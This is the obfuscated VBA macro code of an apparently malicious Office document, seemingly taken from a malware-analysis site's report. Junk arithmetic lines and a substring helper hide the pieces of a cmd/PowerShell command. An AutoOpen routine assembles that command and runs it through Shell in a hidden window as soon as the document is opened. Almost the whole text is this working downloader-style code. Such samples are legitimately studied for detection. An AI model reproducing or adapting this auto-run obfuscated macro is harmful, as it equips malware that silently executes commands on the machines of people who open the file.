UaUvqQdC = (7887948 - CDbl(3438604 + NiEzvniq / wjiaiCfJojK * Hex(4957582)) - 3624033 + CByte(XdpOlksAviU))
tXlqqbc = (7835820 - CDbl(7429456 + pQYwO / NkbNw * Hex(8283698)) - 7497183 + CByte(JIHruujVGZtGn))
zWoEav = (9090981 - CDbl(7171486 + FtPaUXIMLRWnCc / uzCrnXct * Hex(8546587)) - 4577892 + CByte(KzFHNSzb))
dajOivEi = (EhJRFnftSzw) + yHBjksbJKSUgsssd("WbnzWAGbjAAUQMfH(FZR+FZRMwFZR'+'+FZR7FZR+FZR+FZR+FZch", 15, 37)
nQwXTYJuZ = (9998454 - CDbl(4418614 + ANJHE / DobUP * Hex(3619773)) - 7177411 + CByte(GncwQUiAjrG))
BzVzjGOCaU = (9770482 - CDbl(5586898 + BwiCEIU / qocZTFrJs * Hex(6148457)) - 4536928 + CByte(zKAjj))
GazvdY = (430452 - CDbl(4760055 + jRAFapncqMOcMi / nUrAZJWzabZRqw * Hex(9674019)) - 3728710 + CByte(kVrZn))
Epduu = (jdXtSiHwIkDzcc) + yHBjksbJKSUgsssd("zjbIHziNnE+Mw7neMw7+Mw7b'+'w+Mw7+Mw7e'+'bweebw+ebwl4K+l4KwORSG", 11, 48)
psihfLWEsp = (5067332 - CDbl(5768661 + Xwdrs / srqYAzr * Hex(4268432)) - 1348020 + CByte(DTIfhBdmmbBkfh))
GfYkzb = (1375293 - CDbl(2528700 + zHVkbnGDAYpLO / fsuGw * Hex(3428774)) - 9622334 + CByte(VSrFRKHL))
snZkjuhQ = (1879818 - CDbl(3241664 + EuPlLcjCchdo / YaWrkaIvui * Hex(7163380)) - 554302 + CByte(VVvvoOYYJGPHj))
wkriIpwqORw = (NMLsBzpKR) + yHBjksbJKSUgsssd("OKbWC7FZR+FZR+Mw7mUDXzvRDvUk", 6, 13)
ZVIzwDSG = (1250425 - CDbl(2145081 + hsOPBP / GkBwqfZr * Hex(8595226)) - 4685441 + CByte(piHjNfQjzq))
czGJq = (7322539 - CDbl(4796284 + XGIouiOP / WiiZmRMk * Hex(4692460)) - 7151750 + CByte(qRjzBi))
qmTPi = (6684899 - CDbl(9957142 + PiULkYjXl / OJMXIYBnswUPRA * Hex(2865249)) - 5146184 + CByte(aImPvO))
viaaZJR = (bjIrJPdiS) + yHBjksbJKSUgsssd("PWahXRpAmpGRcYPsCaYpncrbzLjUuDiZkl4K+l4K+Mw7gNg'+'Mw7+Mw7mfH()Mw7+Mw7, kgESDC);&(Mw'+'7FZl4K+l4KR'+'+FZR+Mw7eMw7+Mw7bwInMw7+Mw7voebwFZR+FZR+eMwl4K+'+'l4K7+Mw7bwkeMw7+MFZR+'+'l4K+l4KFZRw7bFZR+FZRw+ebweMw7+CJ", 34, 171)
psLqf = (1851082 - CDbl(2768644 + hTvSWQKhwfQfRq / OwMBhmZFNt * Hex(297824)) - 5965596 + CByte(WjvYaztDFLXIQS))
UoAaaIXzH = (8500141 - CDbl(2049336 + UjWoiMFIjLI / hYUlPLS * Hex(6909458)) - 8577798 + CByte(RzaJkp))
XlDfzatwL = (8701276 - CDbl(3271775 + judZSJGo / pQtnlpXn * Hex(508631)) - 4378315 + CByte(GZarP))
UrJzLQq = (YbAqpBAAMTwJS) + yHBjksbJKSUgsssd("DHvnv:pubM'+'w7+Mw7l'+'icMw7+Mw7 Mw7+M'+'FZR+FZRw7+ eMw7+l4K+l4K'+'Mw7bwwXMw7+Mw77ebw + kgENl4K+'+'l4KSB +MwFZR+FZRl4K+l4K7+'+'Mw7 (ebw.Mw7+'+DXjRNtPjLiwAsFiXwVbPthf", 4, 139)
sDudHHvPwXw = (5681532 - CDbl(2316100 + lznWPNGUlJAk / PrZBiwJXTnAut * Hex(6931828)) - 5244893 + CByte(PDoMdmicsAd))
ErdYmo = (3999623 - CDbl(9712936 + pBsQHHUb / jCNRJmcWdfn * Hex(4311212)) - 1188266 + CByte(XPcMwId))
BhIJDo = (3725180 - CDbl(7805048 + BwzCccULn / HKPVVqQiz * Hex(7923359)) - 2053566 + CByte(joVBiuYSDNOpQK))
wPivWcI = (SEzCcIWwucL) + yHBjksbJKSUgsssd("jZoKFM+Mw7kMw7+'+'Mw7gESMw7+Mw7DMwFZR+FZR7+Mw7C)Mw7l4K+l4K+Mw7;Mw7+Mw7breMwFl4K+l4KZODVi", 7, 78)
iCLPwljtshXptk = HzdZTCBCLziU + atALcijFNzHrG + mCuOfiOIRzmF + ChrW(34) + zTzNFOKjbwZnU + WHYfDYoYaS + JMGVNKkYK + OfOiiDzAXG + ATowazJXwHJ + Epduu + uKQKQ + ObwvzUuYFf + VZBqo + HMwiaFaENz + WkOzbEbQi + kdbmNvd + jHppC + icAowCwSP + GvrJEkO + wwUktj + zzuwNwVSn + SDVikCCV + nDkKpi + pzTcvi + SlvYrVJDTYp + WdZbWwzAp + UrJzLQq + YXYBMad + fADLLz + nzmAnrzS + wkriIpwqORw + dajOivEi + owWiMps + wSYKkdXJV + viaaZJR + aRrHAWupHmJ + wPivWcI + OPvvq + mcKAYkNKw + wwBIzhGv + qohBSbucz + tAwFCiW + knUHQrIwH + MuOiW + PDkmhUojf + JhQtdQCWI + WoCON
StwaEKDqk = (9776920 - CDbl(5717733 + NziIBWCSaDt / bLwctRC * Hex(7221222)) - 7885454 + CByte(RLQZDhC))
COUVfrPbY = (5060789 - CDbl(5400792 + VuOAhzsOa / TwstziXrbTVPYp * Hex(4765523)) - 8660734 + CByte(TjAUraOTTCLjaK))
TbFvYdmsh = (870413 - CDbl(6468146 + ICFVZboDYhacbW / ZffLHBICnT * Hex(8742862)) - 113675 + CByte(JbzvmsR))
End Function
Sub oXaLktLp(OYcFdRzjLRVOfk As String)
On Error Resume Next
frvXfftAN = (1495286 - CDbl(7069634 + iBOqHQllXn / ODLAGAHQuz * Hex(1490545)) - 7117031 + CByte(YWNmZtUzI))
tPmOzGXwk = (3298316 - CDbl(8394347 + jTTimAG / qiXQpRkDzMiTf * Hex(1260291)) - 2042279 + CByte(NrBAtzOqtNsCtH))
Shell tNISOsVZhVTz + OYcFdRzjLRVOfk + mYhZJXQvz + wsPjXb, 0
ZhKsZlFXo = (9274579 - CDbl(821299 + RTfZAqDUjTtWq / uHJZwLwzInJFw * Hex(224402)) - 3666537 + CByte(lMTYdf))
aYsZcCvFo = (7747503 - CDbl(207768 + rzNOzstULrQ / rCBVhjCSNOjkhY * Hex(6781942)) - 9273380 + CByte(CzUEQ))
End Sub
Attribute VB_Name = "MTYhzBNZfrN"
Function mCuOfiOIRzmF()
On Error Resume Next
OjOQsTcz = (9030211 - CDbl(8584948 + bwRzZ / dSNRiJGkkXWn * Hex(2172971)) - 8731103 + CByte(rIlNXj))
oOlajWjj = (6153559 - CDbl(2981487 + krMIX / wrpCtHhcar * Hex(344295)) - 2871302 + CByte(VuajztknjlCEzD))
ENlXMtDDdIl = (2462814 - CDbl(6347161 + wzNIbizIzCKfL / VUitGKINP * Hex(7528339)) - 7832575 + CByte(FnzwEUvj))
SlvYrVJDTYp = (vuIBIzitQN) + yHBjksbJKSUgsssd("XtziZJiQajr%! TslXo3TzH", 5, 10)
FTIHVdzJSLb = (2111777 - CDbl(613382 + pkbbRSuzrhhNYN / vqGNhvOYALW * Hex(5247758)) - 3951601 + CByte(pRPwskXsoPR))
AMOuRmsbI = (3954808 - CDbl(1836702 + pBVJNmP / DzVDbLaPurZ * Hex(3141172)) - 293163 + CByte(RRfcKCBr))
haDDfUcmp = (9073527 - CDbl(2533511 + zjzqMOhTGOSa / JLRYUautNZjD * Hex(5773084)) - 7059220 + CByte(MhMCIRbbbY))
tAwFCiW = (OJGWijhaULZK) + yHBjksbJKSUgsssd("LlhQ403lhaer&&set %jnPTfOlH", 11, 9)
LBkDuUdqGOU = (1363470 - CDbl(4754685 + PSXhk / znzDwSXkNnRib * Hex(897474)) - 8016421 + CByte(qZpQLmwzmpW))
UFphwzHjzn = (9951295 - CDbl(6890211 + SlNtdjXOv / nfZvLafU * Hex(2341443)) - 6418271 + CByte(zrUfNozQHv))
BTGGIiZPG = (4589967 - CDbl(139541 + VjRibGKbiWdf / DoMKCnC * Hex(9066645)) - 4013076 + CByte(tOPuZwoXPijaf))
uKQKQ = (WUSslKPmidF) + yHBjksbJKSUgsssd("wSp8Y0HwvXYtZET%!!%OBHM3XwzRRhzIMlNTXHNUTropiri", 13, 9)
qivSNwEmZuu = (8933212 - CDbl(41520 + XTLLlcpwOBdd / CNJhft * Hex(213839)) - 4552848 + CByte(OPJQt))
LzrzXLo = (8326063 - CDbl(5869914 + jpZtldjulY / XcwWHABjjC * Hex(3527138)) - 147147 + CByte(OVEwBUjwTjVoDP))
CRkkiIJAShb = (3327308 - CDbl(6916440 + nuVXzZQsCP / HvcNoaiQYjsQp * Hex(6031206)) - 825285 + CByte(diDlkzGPXfbPv))
OPvvq = (qzAlJEwtkw) + yHBjksbJKSUgsssd("PXMhYDjlM3YiROBZJiQajr%=^shfAiTXLLM", 14, 14)
loVtrCNRAp = (1835331 - CDbl(9657096 + HHoMqIwPUk / tLwofmWibAj * Hex(7729976)) - 2425695 + CByte(uAkTOAuBb))
pqPAs = (6857720 - CDbl(6719962 + tQriWjbOBSh / PuRaX * Hex(5752513)) - 4652678 + CByte(crwIOvFj))
jOGNQFMj = (6993475 - CDbl(8462178 + OFwsFrwiCMwT / TjDUjUizLP * Hex(1440195)) - 396018 + CByte(iPaasdJhS))
YXYBMad = (tudfrvjn) + yHBjksbJKSUgsssd("wDDdN200P%jOzNXrTPQti", 10, 6)
iswczBWm = (5337580 - CDbl(4004749 + KuBijSYl / zpIdi * Hex(179057)) - 8697784 + CByte(ipsNvtOHfLb))
RdqNzUPSp = (4897902 - CDbl(8580152 + tmJNZozHSbiKqN / KMjQAUmcGPA * Hex(7340418)) - 5247891 + CByte(HwMLA))
GptWCcd = (9228366 - CDbl(4280474 + QbEiaXRj / DBZUwrJsbHJC * Hex(9567095)) - 4726352 + CByte(XDKiS))
ObwvzUuYFf = (zQNnDqoqkJhD) + yHBjksbJKSUgsssd("tzT%=p^o^w^wmzXYM314mfT4R7DzOi", 3, 9)
ChVZJdjwR = (537314 - CDbl(1932226 + MmQmOjNdD / wZhswfTbRWS * Hex(293974)) - 4953765 + CByte(fQdzZcEI))
rRwGFZPTWE = (1594308 - CDbl(4302158 + YGrjB / GFVEtrvNmzbl * Hex(7667505)) - 942527 + CByte(MBGzGOE))
TjABBlP = (5090648 - CDbl(5964788 + RLqaYbsQiLvEL / ZhlmddWURqLF * Hex(7145210)) - 7243990 + CByte(ZCfqObfEmNXjV))
ATowazJXwHJ = (BkIECSYoMRTD) + yHBjksbJKSUgsssd("vlNLvwQlJ^el^l&&!33Yv", 10, 8)
PAvrZ = (8159743 - CDbl(1292063 + IJQOwLtdz / FuBOYbDPR * Hex(2634315)) - 4142591 + CByte(khovilEXthczzj))
iDRYjFHs = (9873832 - CDbl(8741018 + IivdssHRiVYLD / tALYiaBhH * Hex(4670462)) - 5218397 + CByte(XRCRobKWIjZ))
nTvtsGOnt = (3825558 - CDbl(8567593 + jivQjMpIjwmKR / rbWXCMUq * Hex(2875274)) - 3309634 + CByte(wBhQJarjstW))
fADLLz = (cRzBTztzOT) + yHBjksbJKSUgsssd("jqsaEt %jObEfQJNNtzHdb", 6, 5)
uYHstlfQGCc = (8351990 - CDbl(4973671 + uiYZUqifn / FILmCmKCk * Hex(9338396)) - 4697313 + CByte(AXDHGIJDh))
qMXEjGA = (4579398 - CDbl(1586735 + kzmRJqiWiJ / iDsjzAG * Hex(1412190)) - 5635275 + CByte(ViAWNjWWjphzjB))
AqBQwVmJ = (525905 - CDbl(9968418 + stOBvqIUDObMD / QifOVlvwHL * Hex(166414)) - 8938072 + CByte(hiXqizHN))
WdZbWwzAp = (NCRjUqPijjKI) + yHBjksbJKSUgsssd("3jTV9VjHDiseiwOEE3ZAqQ8L4JO", 11, 2)
YCYXXVVAFPw = (9506316 - CDbl(9204674 + CAAVamjYwOwN / Pjpht * Hex(8905197)) - 7601928 + CByte(QqOGQNWDziJR))
sPGabwfT = (5277179 - CDbl(2408066 + YSRPcwwujzOEUz / VDIzmJmOKYKUzj * Hex(7351153)) - 9299256 + CByte(DjQPbfKpRv))
WPPdwpY = (5833362 - CDbl(1306058 + ICFzN / JbaomD * Hex(1402138)) - 8260063 + CByte(cwOzDnBl))
HMwiaFaENz = (vJjNRUBmhO) + yHBjksbJKSUgsssd("fNsf8E0A0D zNXZEdQsov9DQ3oz", 12, 5)
mCuOfiOIRzmF = WdZbWwzAp + fADLLz + HMwiaFaENz + ObwvzUuYFf + tAwFCiW + OPvvq + ATowazJXwHJ + YXYBMad + uKQKQ + SlvYrVJDTYp
hkuXzJUNI = (1562458 - CDbl(1663313 + IOCSfnz / udLUosNShj * Hex(609672)) - 2778818 + CByte(QXNTiL))
RFadvwbKN = (9321973 - CDbl(9243193 + QnYqDYaj / wBjbEu * Hex(1490078)) - 8291874 + CByte(pzwbhXUAQVMhA))
WlOmajaTo = (8723403 - CDbl(9827461 + VDtCqE / TVHwVoFA * Hex(4169808)) - 762387 + CByte(EXXvfv))
End Function
Attribute VB_Name = "wnCTdWZMdFLZtd"
Function HzdZTCBCLziU()
On Error Resume Next
OjOQsTcz = (2219645 - CDbl(9110017 + MiTjPAEpzil / RrAViNohWlhY * Hex(4575863)) - 9030861 + CByte(tlDVJjQn))
oOlajWjj = (7291351 - CDbl(6639580 + KEPutiIXF / wKBnX * Hex(2754749)) - 1755004 + CByte(zvIUkKEvNc))
ENlXMtDDdIl = (715085 - CDbl(290608 + OnIDk / bsDPzpPv * Hex(5119440)) - 518918 + CByte(mVHMomRpTEq))
SlvYrVJDTYp = (uLWrwjjA) + yHBjksbJKSUgsssd("AnNRc zIwaZzwwp", 5, 12)
FTIHVdzJSLb = (4987957 - CDbl(60307 + NQNlumjfmSLDK / zZZduGIKwoNElq * Hex(7293230)) - 1748783 + CByte(JWAVWi))
AMOuRmsbI = (9245781 - CDbl(7801795 + zcsCEa / jqJUOftjCRZ * Hex(4639442)) - 8088669 + CByte(stdNB))
haDDfUcmp = (6264672 - CDbl(1888759 + dqdonJfSwk / VEAcoqidRSFJ * Hex(4606346)) - 9713126 + CByte(EjPpCt))
tAwFCiW = (IiUPdtfpiur) + yHBjksbJKSUgsssd("TzkKkiELkSiow hdiquw owQiQzwzp", 11, 12)
LBkDuUdqGOU = (8535333 - CDbl(1858155 + jFpjFwCHh / wAnJzQmuOikUm * Hex(5822271)) - 2031082 + CByte(SaSfqju))
UFphwzHjzn = (7899915 - CDbl(7319988 + kLiGhNGrXvDH / FkJibnMSLVric * Hex(7931338)) - 485285 + CByte(QGwXL))
BTGGIiZPG = (6272244 - CDbl(5069000 + HAXOvHPJ / iMuhCSB * Hex(4990347)) - 3574273 + CByte(qmcFXEoGp))
uKQKQ = (olUwrRoWXD) + yHBjksbJKSUgsssd("hVIicnaOsOQCV /WqwwRzdfFZLFlBlzsLuLiujcfR", 13, 11)
qivSNwEmZuu = (2763712 - CDbl(7536295 + ztIkdiuzJHAZDa / nkoir * Hex(7140124)) - 5364910 + CByte(TjEJLvwSsCImmR))
LzrzXLo = (5041523 - CDbl(3087540 + jQoQEhisqpXhj / LVwoAZViENoHXv * Hex(7847984)) - 3210771 + CByte(KYlLUnfPC))
CRkkiIJAShb = (4944903 - CDbl(3204053 + FZkIGwQoc / qXzMabwJi * Hex(711867)) - 4948540 + CByte(NJzkriSZ))
OPvvq = (QwXEGiTtcHV) + yHBjksbJKSUgsssd("IOGuEfLrCaZBIhiodi & %C^omrMIUVoDN", 14, 19)
loVtrCNRAp = (7373139 - CDbl(2287086 + LWEiVDbrTk / mWzsjfz * Hex(4927686)) - 5496633 + CByte(jWjVOGFIrR))
pqPAs = (2393190 - CDbl(5479676 + nuupGqJpvd / ahUAHhwMjwbzV * Hex(2570875)) - 1258596 + CByte(WjbTBJtJwppqjT))
jOGNQFMj = (7544706 - CDbl(7778119 + puhlFBJTztfMu / cAtmGTKtQ * Hex(7648109)) - 2111982 + CByte(RsHdP))
YXYBMad = (NHMDSsqMv) + yHBjksbJKSUgsssd("QocsiKaoo /iLIEhH", 10, 8)
iswczBWm = (6335656 - CDbl(4023392 + wduaDjRLWdU / otJbjVYBK * Hex(8390006)) - 22180 + CByte(NzBfRojdS))
RdqNzUPSp = (4323012 - CDbl(6786790 + ijNwzofntYPW / OGKIS * Hex(4912345)) - 911567 + CByte(UNGhmtiuqG))
GptWCcd = (3435661 - CDbl(1971886 + wzIaCVMM / ohfcChYVzwi * Hex(2275601)) - 1996820 + CByte(HQNuztDSz))
ObwvzUuYFf = (RzBQOzEQMqpj) + yHBjksbJKSUgsssd("CEeiwohiow hdqcShEQqwhbFukkfAhJwG", 3, 12)
ChVZJdjwR = (1627182 - CDbl(7401458 + BJoaPTcWjS / kaWmismvWziND * Hex(763838)) - 9321250 + CByte(iKcjafiAZ))
rRwGFZPTWE = (5471818 - CDbl(5695604 + zLCokQGazh / ctNQfTvkW * Hex(3640902)) - 9180826 + CByte(LGmTFvVNGPJzK))
TjABBlP = (8910958 - CDbl(8726204 + nzWYAlAnNP / hdrHJBRriwzAid * Hex(3853981)) - 3628043 + CByte(kPFlZRw))
ATowazJXwHJ = (QoZYCJqAVUHUf) + yHBjksbJKSUgsssd("FWGITmvQZ^S^p^Ec% iFlu", 10, 11)
PAvrZ = (6237467 - CDbl(3668123 + DzJOILviNiXR / zqJipjEEkT * Hex(2312784)) - 6578383 + CByte(mGbFcNG))
iDRYjFHs = (3448090 - CDbl(9189537 + hifYTZ / SWlijznJFwOj * Hex(3499159)) - 5875712 + CByte(ftZoHICJLKDicz))
nTvtsGOnt = (1961020 - CDbl(2120356 + fwApzfFGnvXQ / idijCmziSdPMZ * Hex(4669376)) - 5561702 + CByte(LJulcDTd))
fADLLz = (kOIzwtCLfqzru) + yHBjksbJKSUgsssd("sbPrdd ioewUOhPHhLduXtO", 6, 6)
uYHstlfQGCc = (4033202 - CDbl(7103096 + XHcpclciPi / AcTYfw * Hex(9587329)) - 3297538 + CByte(TGwDMSMWZVqw))
qMXEjGA = (8596792 - CDbl(5955300 + GqsraCN / wPDQd * Hex(9901433)) - 6276546 + CByte(PDzJRKZ))
AqBQwVmJ = (5470265 - CDbl(1941873 + FFuoLHzIS / DFqiFCznJBjX * Hex(8685220)) - 1987164 + CByte(usVtvRQhBz))
WdZbWwzAp = (sTbZEszYLHN) + yHBjksbJKSUgsssd("HawoQuAzikcmHfWZJfROwSMoVOb", 11, 2)
YCYXXVVAFPw = (6559042 - CDbl(2312783 + MRObOXXnYol / trjMhOqADShbSf * Hex(6941035)) - 5907570 + CByte(ZLPwZwmhsFJVTl))
sPGabwfT = (4832609 - CDbl(6237399 + VTDGba / LjuknIjnsrwcW * Hex(45957)) - 3851839 + CByte(wfpJjfkjHuMKQb))
WPPdwpY = (8104327 - CDbl(9639115 + XlsBCtkWWccm / KFBYGblRLfwNcs * Hex(9216174)) - 4885253 + CByte(QAArwObtt))
HMwiaFaENz = (sHJNRDOLmTIp) + yHBjksbJKSUgsssd("JhbUJdNwziVjijewd wppUcEbKMzN", 12, 7)
HzdZTCBCLziU = WdZbWwzAp + fADLLz + HMwiaFaENz + ObwvzUuYFf + tAwFCiW + OPvvq + ATowazJXwHJ + YXYBMad + uKQKQ + SlvYrVJDTYp
lFmJCIuLk = (1254496 - CDbl(1714338 + VPMTLFwnaAowz / blFLrZf * Hex(2423027)) - 7914369 + CByte(iBcoTRIpQfv))
loYnIfFTl = (3228988 - CDbl(8124539 + qhJGYP / LIZfoJdHUJs * Hex(9770970)) - 6203932 + CByte(QpwjYiuZ))
tDQosmHKK = (6877722 - CDbl(5035778 + TnLJjdfXlKt / JparMZAj * Hex(7822902)) - 7359396 + CByte(WPzRrAK))
End Function
Attribute VB_Name = "SjnjBcDoil"
Sub AutoOpen()
On Error Resume Next
JVwWPafJT = (6866689 - CDbl(1660405 + hZAaXHliUcQchY / zSIrvq * Hex(5152545)) - 8662414 + CByte(ZLRcnEuzckr))
JvbisjVwh = (925215 - CDbl(3839657 + qRirKsNGHjUA / pJvQhTA * Hex(9491363)) - 6488441 + CByte(BqiwLViLbFWbLE))
MkEOdkcbb = (3533673 - CDbl(590340 + ZjzlTrIRjB / tBlcUsvpNzq * Hex(693982)) - 9511887 + CByte(lTzWaPL))
Application.Run "oXaLktLp", iCLPwljtshXptk
vlvwMqliT = (8733209 - CDbl(4657775 + DLNsHIi / cpcjcCWhXKu * Hex(1236836)) - 7290969 + CByte(zPpiICJL))
uESstDYbq = (2786492 - CDbl(8415628 + jGIMVKTEGIw / ZiNzCczf * Hex(4187440)) - 3299239 + CByte(XQkITJwUjOClr))
HdJwjFEmG = (130109 - CDbl(3577623 + paYNOLO / MkvlCzvJ * Hex(7682616)) - 3474651 + CByte(XzWqZ))
End Sub
Function yHBjksbJKSUgsssd(ByVal str As String, start, length)
yHBjksbJKSUgsssd = Mid(str, start, length)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.